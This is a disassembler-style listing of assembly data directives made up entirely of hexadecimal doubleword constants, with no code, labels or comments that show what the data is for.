		dd 0F5D77DE6h, 324B3824h, 18DA001Ch, 8DD02B9Eh,	9FD5061Fh
		dd 805370A3h, 6513F490h, 0D05CEE1Ch, 0C76D8D01h, 0EE40C551h
		dd 445E53h, 0A1FDCBC1h,	0EE0E356Eh, 7812092Eh, 8FB29000h
		dd 4AEF45h, 68C29FE8h, 0DFA5505Bh, 0DA670D04h, 0C4A0B5EDh
		dd 0B042498Ah, 5048EF3Dh, 0DEA80500h, 0D4F39E0h, 0E3A5E900h
		dd 0BC15E643h, 0AA900054h, 0CF777AC3h, 2F00FDE8h, 880AAF94h
		dd 0ECA08079h, 0B68907C7h, 329B29CBh, 9040BBB5h, 0AC1D9E54h
		dd 0AB80CA68h, 5EF8FA7Ch, 0D4B70E7Bh, 0C79CE92Fh, 10887077h
		dd 0BF23207Eh, 462EA100h, 0E5CC619Dh, 997B0142h, 26896DCAh
		dd 1A8B6047h, 48A2E700h, 0B6EF3F8Dh, 34C20437h,	0C7B2813Ah
		dd 80BAA4C6h, 6CBB5508h, 0C6D6726h, 5A8B7100h, 79101F84h
		dd 0A236002Eh, 0D32B5980h, 9E2CAA3Ah, 0DA096004h, 50B40030h
		dd 70528Dh, 717D9967h, 0C116DB64h, 0EAB0D4B0h, 7AA56C02h
		dd 0A0311143h, 99B102D8h, 24157866h, 8034BFD8h,	0BD452872h
		dd 0FD009A8Bh, 0E6883227h, 5892F54Eh, 0DC002080h, 3FCBE14Dh
		dd 1C395EC3h, 0B57487BEh, 64D0A7D8h, 710A6869h,	3A983B5Dh
		dd 0CD765480h, 6DEA9F9Dh, 0CAA51B00h, 0E5BC8E2Fh, 543F2266h
		dd 4C60A700h, 0BE72CC2h, 7B91FEF0h, 0CDF0739h, 0D7103B19h
		dd 5D2501EEh, 14AF6027h, 114FF901h, 0A9F4AD76h,	0E1F6DECh
		dd 7BB304F3h, 96A01CA3h, 11C06EC6h, 0CF608CE8h,	327C07C4h
		dd 0D038CBADh, 0E558BD24h, 71E9D89Fh, 63DD16E9h, 0A8D900FBh
		dd 6641ED53h, 0F918E0E4h, 0E368826Fh, 0E69B03E4h, 695219F5h
		dd 9C982A93h, 2E5C0FC7h, 920400C5h, 8422A456h, 76F7B65h
		dd 49792448h, 0FFAFB371h, 99FDDAD0h, 2ED3F00h, 0E1764D38h
		dd 8057122Bh, 3E1900A6h, 506C378Eh, 0AC8F100h, 97FCD83Ah
		dd 37A0795h, 50186005h,	85B3D2EFh, 993DBC00h, 8AABE008h
		dd 0AA7E166Ah, 0CF500050h, 1C4118C8h, 439B3B09h, 210F8058h
		dd 0DDAA73h, 0F59E7BEDh, 0D5997838h, 6E525400h,	428E5AD4h
		dd 665B0081h, 0AC04B833h, 7500A3A4h, 8D11AA9Fh,	12A1B1BAh
		dd 2032A20Dh, 546B25F8h, 0C2AF9107h, 86A05D9Bh,	3A7CC06h
		dd 0EBB72892h, 0AFA147C5h, 952AF042h, 0B9E35400h, 0FC863072h
		dd 257D0152h, 70CC68BCh, 0DB2AD4A7h, 0D4CBF200h, 15D2EB04h
		dd 18A660EAh, 5243FC6Eh, 23242C00h, 0D4B09877h,	0DFC60190h
		dd 0DEEC637Ah, 5A64C08Ch
		dd 806AD23Dh, 86B850FFh, 730755h, 0E02E469Dh, 0C18AFB5Bh
		dd 0B25C0F1Fh, 0C600282Eh, 0D1525E0Dh, 31CD0360h, 0A3D03837h
		dd 0C576E2D8h, 95DE1C00h, 3AAC3480h, 4C9A0FCBh,	738052AEh
		dd 0F516A049h, 9B806C90h, 5AF093EDh, 0E488B000h, 339B22B2h
		dd 457400E2h, 9D189442h, 6213BA6Fh, 900ECB06h, 0ACDBA16Ch
		dd 10205836h, 0EB241C22h, 64100FB6h, 63A0540Fh,	12058177h
		dd 744BBA25h, 67013E3Eh, 0D266B668h, 6B2E60E5h,	0CE2F0101h
		dd 439717BAh, 3622C8h, 0D0FEC68Fh, 6C0A4A48h, 87B7E73Ah
		dd 0C3379CE2h, 0F4797120h, 0AD0F0058h, 68972599h, 18C09335h
		dd 0BF846A72h, 0E0616581h, 0F61890AFh, 0D20073D7h, 8027C6C9h
		dd 5EE0A2Dh, 60B63499h,	824F09Fh, 6DC8A600h, 5B985229h
		dd 985C7710h, 0E9D200F4h, 3CAD781Ch, 31011E71h,	524D7053h
		dd 830FBCBh, 20AA0F1Ah,	79804657h, 40EA6B3Eh, 677F4909h
		dd 0C4E4E0B7h, 50E3003Ch, 2E79F91h, 5FE0CABCh, 80B5E138h
		dd 0B6702887h, 1478A6h,	0A3489FD2h, 49A27D58h, 13A00F0Eh
		dd 0CB6F2012h, 0E92CE45h, 0B87BF271h, 2FF0CD00h, 0A7002467h
		dd 356B15ACh, 62E21Dh, 2E85059h, 25A395D3h, 3A0FB017h
		dd 17D1CC40h, 2E09CA48h, 1CBB237Bh, 221F4Eh, 66DA5502h
		dd 0CE0F05ECh, 409E073Ch, 0DE9C7A28h, 0B298A4h,	85376C1Dh
		dd 4DE1CD03h, 0D2E7081Dh, 1C225501h, 0B07868B4h, 521D83C0h
		dd 0A4164A2Bh, 6C903E84h, 98AADC6Eh, 290F6A4h, 4EFD73CAh
		dd 0E9C07DD7h, 0C892F427h, 684C5401h, 0F1876DD8h, 0C169EF24h
		dd 7FB1010h, 232FF82Ch,	42835B03h, 994A5624h, 94306AEFh
		dd 743F00D0h, 0BC55A771h, 0B4E2C82h, 902D980Bh,	272434C0h
		dd 7CA0F228h, 0D0762BCh, 8AE8A42Eh, 3DD48307h, 0F6276F20h
		dd 0B97800DFh, 1C2C8D07h, 6000296Ch, 0E3A0669h,	0F0E902C8h
		dd 0CAA700E0h, 768E534Ah, 0E4581FF5h, 65B30110h, 56DA84ADh
		dd 0E8C3A060h, 0F3063872h, 1A1C500h, 0D390BDB6h, 0FEA55928h
		dd 871473F2h, 1FF05621h, 4AC041A0h, 796ECB64h, 39CBA063h
		dd 0BF74008Bh, 24FB1448h, 0BCFFAEh, 0BF80BE57h,	0EEF55FE8h
		dd 8B00B2A6h, 0A0A5D70Ah, 3F783EBBh, 0DADC5544h, 123A007Bh
		dd 0E940A97Ah, 2800A886h, 56DDE052h, 1830198h, 6188DE71h
		dd 83693BE7h, 0FB48A828h, 0C081EA21h, 7BCE0AE1h, 20920002h
		dd 5F271E94h, 8000CAB3h, 3356C65Bh, 7DDC1FEh, 0DCEC29A0h
		dd 7D5E9068h, 1F1C9699h, 0CF004D3Eh, 83DB6A16h,	0F9FA00FCh
		dd 0E7099AA0h, 19000B08h, 0D1A14826h, 3E228D84h, 3C809DCCh
		dd 8174367Eh, 1900BEC3h, 0B25AA3B1h, 0E52321h, 30F3C0Ch
		dd 0AC1481C4h, 0E6A7820Fh, 9AECA0CAh, 0FC9928F5h, 0D4E82Bh
		dd 5C59A920h, 7190E785h, 0ED5B4F07h, 5EE049B1h,	7511C921h
		dd 88A30036h, 948991F8h, 5302FBFEh, 0BE375BECh,	51E07FA4h
		dd 1C006F98h, 0D1A36949h, 0DC9339h, 78ACAE1Ah, 0B9C1CAF6h
		dd 46164401h, 5236D6A3h, 7FD3C4h, 0BD575CB1h, 6E4E9B31h
		dd 4F490100h, 0CDADA04Ch, 3EF40FB4h, 0E30643Dh,	4058A2C3h
		dd 73D6B955h, 391C1FA5h, 657E879Ah, 6D93537Fh, 0DEBB9600h
		dd 0A6416163h, 0AD363FAEh, 0A9084501h, 0FC467F3Ah, 0C53BE5C0h
		dd 19D20040h, 0F4ACBB73h, 497006Ch, 9CB044C8h, 91607DA4h
		dd 0C00E96B0h, 631800CBh, 0DE5950CCh, 5F03ADB4h, 0F2138A65h
		dd 12B7A0D5h, 1C800179h, 23D80C7Eh, 6B74E0FFh, 73A1951Eh
		dd 9330047Ah, 1C001454h, 551358FBh, 9B99DC07h, 4EAC7Ah
		dd 43FE145Ch, 0D8491D08h, 7611E30h, 0D7223D06h,	39EECF0Ch
		dd 576568B8h, 5026BF33h, 8C99F04Fh, 29166F2Eh, 0FA1FFE21h
		dd 61719412h, 13D00350h, 5883B08h, 0D4162A68h, 0EFA44023h
		dd 1C6611BAh, 0ECB2CB1Dh, 0C5D37BC0h, 1D67F1h, 4F8D29D5h
		dd 0F6606381h, 8C2E7E00h, 0A88008EAh, 10A600F2h, 180BE122h
		dd 56007F6Bh, 2F9CF3BFh, 3C9D3440h, 0B2974A7Bh,	80EC1FC6h
		dd 9F5B431Bh, 10001603h, 713E33C9h, 12F821B0h, 63C530h
		dd 0B4A834Ah, 7501DCB9h, 170EBFDDh, 0D1D9855Eh,	711FE70h
		dd 0BB60F663h, 999610F9h, 0EB0031AAh, 51486FBCh, 3CDF4D4h
		dd 0C694D31Dh, 8B80D7ACh, 2A30C0D5h, 0E6BCF9A2h, 3BE667h
		dd 8088F331h, 2D444C53h, 0C0D73D1Dh, 0BF3CD6C0h, 859B76h
		dd 83CCE33Bh, 384D52C9h, 3222EC1Eh, 0BF172000h,	0B3A284h
		dd 105C21C0h, 5E7F7766h, 4D4AD30Fh, 3B96C37Ch, 0CBACD0DEh
		dd 591D058Eh, 80440123h, 0D5A0DCE1h, 53687100h,	638A8052h
		dd 0C5401B2h, 0C85146D6h, 0E6CAE09Ch, 36A24904h, 22C33ACEh
		dd 1CC9291Ah, 0C2EFDF04h, 1D932AD3h, 0C2BBF8h, 2B278E14h
		dd 6645A6F1h, 0EB387A71h, 93077A25h, 223FE2D4h,	6F959DC0h
		dd 0E630001Dh, 44D634E9h, 7173C1EAh, 0F8D7933Eh, 7E9929C4h
		dd 482AF544h, 3A18425Dh, 8A211D24h, 12C91278h, 29211D63h
		dd 2B8B0821h, 88720588h, 0C5943766h, 81F00850h,	84B110D5h
		dd 9444284h, 2CA3447Fh,	742CD48h, 86502F3Ch, 22518218h
		dd 1C221239h, 29116132h, 0CCC6F3CDh, 2000D8C7h,	0E81AFDD7h
		dd 58BD23h, 216B819Ah, 0AE93AB70h, 59C5A700h, 0EDECF17Bh
		dd 7028773Dh, 188F00A1h, 0CB1C0E1h, 0D2058CA9h,	136DC65Ch
		dd 4485A880h, 2307261h,	0D3A4FF28h, 5C600E9Dh, 82016947h
		dd 52980F2Ah, 3BE86BA0h, 7A890042h, 2B9C6E63h, 7558C8ADh
		dd 0AAA700E0h, 68BFF625h, 81149B0h, 0D53A6300h,	0AB51B38Fh
		dd 1600CD7Dh, 0CE663913h, 3CC8920h, 0BA244249h,	5FD8518Dh
		dd 29257E4Dh, 885015h, 0CA4911C6h, 0E3C2A20Fh, 0A54CAD17h
		dd 96CD4803h, 59880037h, 34DC033Eh, 16005C9Eh, 715F9A2Dh
		dd 12F4A3Dh, 0D1C3A730h, 0FB85D8EFh, 7CBF982Ah,	78056300h
		dd 0B59EFFC6h, 3AAF3915h, 0F57BEE00h, 296DE552h, 2D030F7Fh
		dd 836071E1h, 0B0E0D059h, 0D04900BDh, 0BEE2DC30h, 0FD00E6B9h
		dd 7B35EECh, 3363376h, 0A31E15C1h, 0F5B04BF2h, 0A8000BB2h
		dd 0DFC7D8D0h, 1CCABA01h, 289657h, 97FE22B8h, 2103D498h
		dd 0A1CB8E4Bh, 1E769833h, 9EF207C3h, 0C08C5978h, 4E667767h
		dd 1A00D170h, 0ED37BE49h, 8EC7AFh, 0B6E2C220h, 0EEE73A38h
		dd 21205370h, 2AA700D0h, 0D3699C8Ch, 1A00DD47h,	2F9D07ECh
		dd 7091BFh, 225F7BB5h, 145328B2h, 96F85D1Dh, 40009E52h
		dd 1CDB2992h, 1B6A003Fh, 766F49E2h, 5B038FB0h, 15C2C859h
		dd 0A29AA84Fh, 33DC00E5h, 0ED40EBE7h, 5DE22935h, 870013FAh
		dd 0B1C6471Dh, 0AFA60Eh, 8268B086h, 5329A979h, 80F07C00h
		dd 0DCFBE0E2h, 4457D5Bh, 6489FEFDh, 0C034C3D2h,	0A4E76800h
		dd 2765E9BFh, 0CD710541h, 0E07B13h, 395EAFB8h, 8C00AE4Fh
		dd 833073F0h, 609B26EFh, 76CF20E1h, 9700E7D8h, 79FB5AC9h
		dd 205DFD3h, 3B7A49B7h,	3F60E960h, 93005D0Dh, 0CD6B7D89h
		dd 1C2F968Ch, 982DCA8Bh, 0BC22385Bh, 0FFCCEF50h, 41B7DF00h
		dd 0E73FAB6Dh, 0B1630090h, 0EEC91270h, 3EE05089h, 0B9824404h
		dd 1090660Eh, 0F12581Bh, 10CB05A7h, 0F8E7DB00h,	78FA39E5h
		dd 5D00A898h, 0F65BA97Fh, 0D4D0C8h, 29340861h, 0B7AE43A2h
		dd 9B05D290h, 58E1D991h, 0E06EC20h, 3142A7h, 0B0305181h
		dd 7EA65D8h, 9E381766h,	0E3F8C033h, 11003AFAh, 0A26FB248h
		dd 0D3C197h, 1901AA34h,	15147058h, 0F81C3D06h, 0F85E0Bh
		dd 0DD6C5E4h, 0A7452683h
		dd 8706657Ch, 49B4C96Fh, 0F85F0048h, 1A2FEFA2h,	0CB0059DCh
		dd 3B43A55Eh, 0A1D506h,	4853B781h, 642018E3h, 0F2D49000h
		dd 0EA3E2BD9h, 0ADBD009Ch, 32AB3D3Fh, 934C8D5Eh, 10B0008h
		dd 0E7D9CFF4h, 2372004Dh, 0FEE238EAh, 1092A3FAh, 5266F203h
		dd 0EE642DAFh, 0AE8F0280h, 0BBFCA312h, 0E6203C44h, 0D35903CCh
		dd 28D9CA0h, 7DC56007h,	0A9B02A6Fh, 26D0AE6Dh, 3422F8h
		dd 2D5EDFE0h, 0E8308DEAh, 5A2E308Ch, 50E93A03h,	27D3E780h
		dd 5814FB23h, 4BC4CF5Eh, 39BC8491h, 0AD510610h,	0F503F090h
		dd 0EF1A7D2Fh, 9A60006Ch, 8FEDCFE9h, 71405B47h,	569300F4h
		dd 7ECE7D9Ch, 0CD59A6EEh, 0C1E706B4h, 76044BBh,	25B1BEF8h
		dd 0F475D0AFh, 5B7BD08Fh, 0F6023F00h, 0B364937Fh, 247D0F35h
		dd 0E22044DBh, 0C32980BCh, 7EF66E12h, 7D96E700h, 16A557h
		dd 2FE3173Eh, 4D912CCEh, 31859003h, 989B40E6h, 2E3D9Dh
		dd 489F6BA8h, 6A23C775h, 801F6C39h, 0ECD24B3Fh,	579293h
		dd 0D7157382h, 1755B321h, 31F2620Eh, 96FE0030h,	0E53CD2h
		dd 0DBBC0950h, 0EB203242h, 0DE181673h, 61E8C8D5h, 4E460F75h
		dd 56405847h, 0A3689928h, 0ED03D48h, 40A2F0E2h,	272E132Bh
		dd 0F9440046h, 0C46D6C5Ch, 2100D89Bh, 61990C80h, 8D2E4Ah
		dd 5D060B0Fh, 9B95EDC6h, 44A52800h, 526091ADh, 50FF24E3h
		dd 5F230070h, 0CF262AC6h, 0C18298A0h, 6B132C00h, 0C8625737h
		dd 497998h, 29563470h, 0A1B346FFh, 4CB27300h, 0F739360Dh
		dd 343F3C85h, 5101007Bh, 594EE5D2h, 870B9890h, 5B5644h
		dd 0F5709304h, 3243021Eh, 0D2F269A5h, 0ABC9CB60h, 916B5C02h
		dd 0C0AAFC98h, 6A7D1Ch,	6338EC21h, 0DB9BC7D3h, 3F269505h
		dd 79C7DED9h, 0CBF3CAB0h, 0C2A103D7h, 74A9B89Fh, 453C087h
		dd 4E3A7517h, 2D3883F2h, 0A032BCE8h, 0DA3791h, 0EE7C1F20h
		dd 3DBA06EDh, 1D00B9FCh, 744007FDh, 33AB8h, 0ED8578C7h
		dd 8BC2B2DCh, 4D294F00h, 0DAEBF540h, 0D7CE0082h, 613DE9B3h
		dd 0A2712D50h, 184F0F00h, 0E5D87454h, 0E38501C6h, 6356DD22h
		dd 0AE53F441h, 47911B12h, 0F106F00h, 5D0AF2Bh, 9EBFEB62h
		dd 0F536C0FDh, 0D800ACCCh, 5C5D976Ah, 0F210D47Fh, 0C63100D7h
		dd 0D95E1619h, 1A1E531Dh, 45C0AABFh, 760381E2h,	1FB604ADh
		dd 0C032AE99h, 0C12A1024h, 5265E800h, 2671FC7Dh, 0FF7F0038h
		dd 0E3BCA3C6h, 0DC0028EDh, 0AB0AA451h, 732E92h,	498C99B5h
		dd 0F09ED882h, 328F8503h, 61CB35h, 2CD01F66h, 0E3A74D7Dh
		dd 80C78D1Ch, 0AE47F840h, 3EDCE00Ch, 0BB00F087h, 3B0D64D4h
		dd 18243354h, 7A1D1DC8h, 3482A51Dh, 405DAD9Dh, 7D7584D1h
		dd 113C60EAh, 9A088711h, 74CE2100h, 0E0DF2815h,	0ABB00Fh
		dd 0CA5FC747h, 453B54ABh, 49042F00h, 0F1A352FCh, 9A91007Ah
		dd 9F31035Ch, 9E074D97h, 0BE3BF6F2h, 5013839Fh,	45DDB82Fh
		dd 30E900A4h, 1F94FA7Fh, 3D007A8Ah, 68F762A0h, 9084E42h
		dd 0F8923AD4h, 50D11400h, 91003C0Dh, 0AC84F49Bh, 0C3B7CEh
		dd 9811496Ch, 0EBDF5626h, 9C721E00h, 0DE6EC7F1h, 381A019Eh
		dd 0F4555915h, 0C39DFC39h, 48149304h, 3100DB87h, 9A061B57h
		dd 0AA35AE02h, 0C0ACFC3Ah, 0E248D116h, 2908000Ch, 741CADC5h
		dd 0FA00BEF1h, 0A265826Fh, 9060D8ECh, 0C0C52A2Fh, 0EAB20788h
		dd 337CEFADh, 30CFDE1Bh, 55825862h, 519A11Fh, 0DFABBA80h
		dd 0E4B878C3h, 2148C0DEh, 0B08044F4h, 0BD17D700h, 83FD65BCh
		dd 8DCB1F1Fh, 84E8ACh, 0F7A544F2h, 7B3E8A2Ah, 0BB5E3B0Eh
		dd 0F67927BEh, 0D621DE20h, 41A46086h, 2F042084h, 875FFF00h
		dd 0AA51CC93h, 0E7910319h, 310FED06h, 0BB3C35E0h, 0D9086C00h
		dd 9D72307h, 0BE4A1D03h, 9AD6CFE2h, 0DC477080h,	0E638C472h
		dd 0CD7A00A1h, 75B82244h, 0CB1800B4h, 9B377985h, 55001D8Fh
		dd 24016FE6h, 5D6461h, 6E728DBAh, 0A7D221B5h, 8062903Ah
		dd 0B49325F2h, 0B1373Ch, 6E700FA9h, 46DF89B8h, 9868D301h
		dd 59942027h, 66E0D8h, 8CD42A55h, 0CBCBBCBh, 6DF531Dh
		dd 41292CC0h, 2B69D75h,	7C45942Ah, 33C06A17h, 0DC0019D5h
		dd 0DF419F13h, 4B988h, 0DAE0D225h, 0CB2CFC7Ah, 6C2FA703h
		dd 8791FE0Ch, 9057B300h, 3611004Eh, 0C799D46Fh,	7B00BC94h
		dd 149C3CD9h, 16BD4A26h, 0FCCE8Bh, 17A2C8B9h, 0BF00C6E1h
		dd 0D9194D2h, 0C2D0C9h,	5F42601Ch, 0B2842319h, 0CD01CE98h
		dd 4474AC81h, 0A0D8D36Ch, 0BC7D3A34h, 7A186501h, 0C87F0BC4h
		dd 0F13C6B5Ah, 80DD8062h, 0C0A829B7h, 94683B77h, 3F4EAE83h
		dd 0E2A0DFE9h, 0F412C378h, 30013B0Fh, 6D1E3C8Ah, 0C06460C2h
		dd 999A38DEh, 7AF7EC7Ah, 0A8024F5Ah, 0A1EB007Eh, 78FA93F6h
		dd 0B9ECB2h, 654C764Dh,	240D37AAh, 0F173B302h, 60B1AF14h
		dd 0E8B80F80h, 8CEE33A7h, 0C28BDFD6h, 63340CB8h, 7100B498h
		dd 6E37B365h, 7E77045Ch, 804F05B1h, 0C0D37BE1h,	5F6DB5CCh
		dd 0BB51AE00h, 477A73ADh, 2C150457h, 9027D9A0h,	814F6D64h
		dd 6611DC0Fh, 0D10B8056h, 120E643Ah, 0FA6CCCDh,	0A92002A4h
		dd 0EF094527h, 80D6E600h, 0DACBA52Fh, 0B14C0066h, 7C0DB894h
		dd 0BF00221Bh, 0FCE020D8h, 355D79h, 7AB10548h, 24F1C57Dh
		dd 46AAF200h, 5B8F1073h, 6A7E004Fh, 7225E3BEh, 0E90024CDh
		dd 615911Ch, 2FFA13Dh, 0D0DE6A86h, 0E440BDDFh, 6E001FFAh
		dd 85C5A6DBh, 0D9B115h,	356DFF06h, 9707BEA4h, 193A6098h
		dd 0E2A98027h, 0FFA351B2h, 0C5ED06DAh, 0D89BAE2Ch, 134B062Eh
		dd 7A4E0F3Bh, 18A10C4Fh, 48D6493Eh, 6FA85B0Eh, 0F03F58C7h
		dd 1D0F4417h, 200045F6h, 94EB0D95h, 3A4A9h, 0D821FE69h
		dd 4E2BEE0Ch, 0CF2DAF00h, 1EC2DE81h, 7A71008Ah,	5545C7D0h
		dd 6C021B31h, 0BBFE08D8h, 7F904119h, 34E25ECh, 0FFAB0D93h
		dd 50F77542h, 0FC8F5112h, 0F73F70Ch, 34D0626h, 9843A14Ch
		dd 0EDF8A26Fh, 0B660023Dh, 0E16691E1h, 20FB003Ch, 2B8D734Eh
		dd 4000616Bh, 2D0DD4ABh, 4B9572h, 6F92B109h, 82D253E7h
		dd 6E24D124h, 2C78A0Fh,	875068FAh, 8E8058F2h, 53179EBh
		dd 1056DA75h, 29000D3h,	0B7B0B4F6h, 613C9600h, 8FF1EB5Ch
		dd 0A4D050E0h, 0EEE0076h, 0C3DD89D3h, 0B400CA82h, 851F4204h
		dd 255F841h, 0F1E99B48h, 64404FEFh, 9D001DD3h, 0E4C111A5h
		dd 3C156661h, 28822119h, 756AFE7Eh, 63871C40h, 0F02A4A41h
		dd 600A8D4h, 6796E572h,	1426268h, 61F5B88Bh, 0C86CAF51h
		dd 2EE273D5h, 0D0A63600h, 9D642F4Ch, 0A2630040h, 0F86654FFh
		dd 18C03887h, 0D21FEFB6h, 83F202A1h, 5547C71Ch,	33FDB940h
		dd 82AA2F00h, 24A06987h, 5610049h, 0BC20A4A2h, 0B0000454h
		dd 0C5B3DE2Ah, 2C8A42AAh, 4C769Eh, 0AB380E6Bh, 0CF16CBCEh
		dd 381E07A2h, 8D180038h, 26CD179h, 0F8760077h, 2C53BD66h
		dd 0D4067097h, 0E0E8850Fh, 0C57A2630h, 30C10FD5h, 0C0408245h
		dd 47EB16C9h, 0AD6AD106h, 581DD2h, 3D4BAC7Ah, 103F0DAFh
		dd 0C94A9B00h, 67B0CD51h, 0F21B00E9h, 0DB772891h, 0EC9A86DAh
		dd 1192433Fh, 0C60007C0h, 63E395FDh, 0FE4C84EFh, 9F891650h
		dd 0DF2704EFh, 5481AAC1h, 0D86445E1h, 8BEC40h, 0F286F13Ch
		dd 95841709h, 4E9A1C00h, 295A3E15h, 0E0C21F99h,	6AAE89Dh
		dd 0A15DB023h, 0AD0740A5h, 6E5B6908h, 0C0EE7392h, 73098AF4h
		dd 1D6C0116h, 0C74004CDh, 0F5A050ECh, 0E892E270h, 25105D18h
		dd 0F28F3A19h, 0E0805422h
		dd 0B7AF80BCh, 1BB30700h, 16625DD0h, 88A25C9Ch,	0AB26B07h
		dd 0E82DF0F6h, 26136684h, 0A80FCF6Eh, 5C03E7BFh, 35399A60h
		dd 68240077h, 0D7A573F1h, 9B015150h, 0F7980B97h, 2FCC458Fh
		dd 0FD88C903h, 0C1478491h, 0C387D8B4h, 0B0380700h, 17119ADh
		dd 118F004Bh, 2CB5808Eh, 7209C29Ah, 40296465h, 1BF6DBCh
		dd 588FCFE2h, 70D2E915h, 0A37CC5ACh, 13C029E9h,	9D0016A8h
		dd 4A86259Ch, 0DAB50EF7h, 0D9607F8Eh, 1473678Bh, 6300D87Ah
		dd 36843768h, 0FA227134h, 48E2DEh, 1B6A727h, 5013AAB4h
		dd 0D3FE8A01h, 92390A65h, 14D6AA60h, 0B01AA2F9h, 481E7221h
		dd 0F3073C6Ch, 1880629Fh, 0B29E1EA6h, 1471D8h, 298D6589h
		dd 0CF235AA0h, 0D1031673h, 948C66EFh, 2FE1EF3Bh, 5AE59256h
		dd 8414860h, 0A5E146F6h, 35AD3C02h, 66FA2054h, 3D00E07Ah
		dd 4E1E5621h, 4BDDE8E4h, 3F5C4083h, 76E5666Fh, 10186A00h
		dd 0D1542997h, 77E670D5h, 40090B7Dh, 6381693Dh,	307E2A42h
		dd 2800A32Ch, 4DD2C9C5h, 0A7D1DFh, 775C04FDh, 0EB0C53A0h
		dd 5E190100h, 336421B3h, 50570B51h, 4480CA98h, 6BE5D5A1h
		dd 0C8B17003h, 0B07C7BABh, 65C48EEh, 1F082F30h,	0C20974FCh
		dd 816B61F1h, 5A3C4B9Eh, 5CDEA20h, 26C74D6Ah, 670080CFh
		dd 0EC2C3D10h, 0E802F889h, 403BD7D5h, 0FC96D648h, 0D750BF1h
		dd 1C00B526h, 0CE03C431h, 7E9813Fh, 9757AC8Eh, 20877BF5h
		dd 0D3AA0D0h, 605200A3h, 11395558h, 0E53CEF37h,	0EA8C0081h
		dd 0E07FF9B2h, 15021886h, 5F4386Ch, 541A6D00h, 0F0B5189Bh
		dd 0D7630E2Ch, 39CF0809h, 0E51047F6h, 7033F160h, 0D02460CCh
		dd 1407FE24h, 0FA704618h, 4CA11E8Bh, 78EE873Ch,	1374907Bh
		dd 0B607D7ADh, 9FC394BDh, 4E2A2BE0h, 0B58E0978h, 4890912Dh
		dd 0A90F5203h, 0E9AE2E7Fh, 554483A8h, 2902E42Bh, 40688353h
		dd 16009386h, 0A5DEA9E3h, 4D19459Bh, 0D203244Eh, 2491878Ah
		dd 5A8BF800h, 0BA1C1416h, 0FC40B063h, 0BCC81F17h, 0F00AE0Ah
		dd 121B0Ch, 0F3EA8988h,	0E306A42Ch, 0C79ECEDEh,	0E8EC0018h
		dd 0FD225E5h, 4313AEF1h, 0E10061C0h, 7D8E35E2h,	4F220308h
		dd 3DAD0572h, 4CB7C2F8h, 99592B09h, 455CA770h, 0F0A89020h
		dd 80FCB99Dh, 0C2D593C8h, 80066CFh, 3D53C175h, 5CECF762h
		dd 0B6015331h, 59172B51h, 664880AAh, 0D1AE9A07h, 2D301E34h
		dd 3661C002h, 4E589BC0h, 0E613FD07h, 92664743h,	0A4F51FA4h
		dd 90540060h, 10500138h, 0A61E4AB0h, 74E4C737h,	0DD2FF600h
		dd 0E2D8EA19h, 0A38400E3h, 912EE59h, 40C0B3D9h,	46B41C20h
		dd 0E90430FAh, 14759628h, 0B5D6A812h, 8082DD09h, 0D41607CAh
		dd 1EC2F6F5h, 7FD813D3h, 0C0FDC59Eh, 0E77C6C75h, 9400ABD2h
		dd 1368F174h, 1EB3CACFh, 811C4105h, 12067246h, 93EBC4E3h
		dd 190A2312h, 13A23409h, 0E9701628h, 55704016h,	0A3813238h
		dd 0CF595A00h, 155E23EFh, 50D2004Bh, 591F9DAh, 3894C53Fh
		dd 0FA5BFD80h, 90A50CAAh, 4AE10934h, 1CC5AF7Fh,	54408B12h
		dd 39220342h, 642000ABh, 5E409908h, 8F261C1Ah, 0BD609469h
		dd 0F36DC7h, 5FEC7E86h,	92BE994Ah, 0D5522700h, 8587B7F1h
		dd 0FC3900D3h, 0BAEF348Ah, 497D4201h, 0A6B9F0A3h, 1DBC6033h
		dd 80588D7Bh, 0E0A119B6h, 18F4D378h, 7B7C002Eh,	0E66DEF4Dh
		dd 0B0D0C7CCh, 49050FD8h, 40A66F56h, 5F3C5411h,	788A48F3h
		dd 6F00673Ch, 2758911Fh, 49001D9Dh, 0A835978Fh,	3B28AAh
		dd 0B67A8762h, 0DE79F89Fh, 0C456BE00h, 623B8D7h, 9C3504A8h
		dd 805E4DBBh, 306467BCh, 1BF7A902h, 0E9A76619h,	283D6560h
		dd 1214414Ah, 9AF5F9Bh,	7C29034h, 524D5825h, 96E6A032h
		dd 0BA0181EBh, 8EC5A7D3h, 0BE306811h, 0B02C7AFCh, 9BCD0588h
		dd 0C0A407E7h, 1D75457Ch, 0FB9D2D1Fh, 60B62CCFh, 0C3013B11h
		dd 0C9F295Bh, 7A483FA4h, 0EC032Ah, 0B44A6362h, 0E19DE366h
		dd 220A3Bh, 6554C4D4h, 1211A43h, 25911BABh, 0F8BD2BF0h
		dd 0FB124A51h, 0B80001A9h, 17C4E062h, 11B06713h, 80B5957Dh
		dd 9831E154h, 0C9A6D112h, 0A035920Eh, 524AF194h, 0ABF4F90Fh
		dd 9CBA0083h, 69E9E1F4h, 950798EBh, 7467F81Dh, 3F5E90E0h
		dd 0B7750082h, 864BC1C4h, 0B80E8FC2h, 0E07CA716h, 7E814FBCh
		dd 0DDDCA075h, 0D16A2EF6h, 169100F0h, 8EECC527h, 9900D074h
		dd 0E4B5AACBh, 38070A52h, 0C300A0A5h, 3574B086h, 0EE0F2AE3h
		dd 6B9C5659h, 0B67E80F5h, 0C49DF3h, 0E45B5899h,	8B94810Dh
		dd 7B408A00h, 76A214BFh, 0C5220F7Dh, 9B8002C8h,	9B5F31Fh
		dd 78C71B26h, 7EFB7A80h, 20592h, 5C9614BEh, 311E8B79h
		dd 6CA4FF00h, 3CA3A707h, 0EEBCB034h, 94C1CD2h, 0B329C0C9h
		dd 0FA1665D8h, 0B10ACD70h, 14BBE2D9h, 0C0E84F0Fh, 0EBB0F645h
		dd 0B1B912A4h, 4007162Dh, 1819DF5Ch, 500776FDh,	0FAB32AA3h
		dd 38F373B1h, 0EA782087h, 0E62281C6h, 32109EB7h, 1B1DFD03h
		dd 9997F06Ah, 0F72B3F81h, 0E52CC180h, 0C9BCD05Eh, 8638F403h
		dd 810C51A3h, 58E0A0B8h, 8CC100CDh, 42CABD92h, 9912A35Eh
		dd 0E8405763h, 0DE4CC5F9h, 0B913009Fh, 1AA3E7B8h, 0A000D2ACh
		dd 0F673373Eh, 1EA7DBFFh, 419BBFC0h, 2B86B1C6h,	87684036h
		dd 0AA3F5766h, 6EEF18E2h, 1678FEC0h, 806D2427h,	4760AB6Ch
		dd 4DC0A354h, 0A200AE76h, 0FA15D30h, 0F8761CBAh, 80740096h
		dd 737FFF82h, 89003F27h, 0AED00913h, 170334h, 91D6F4AFh
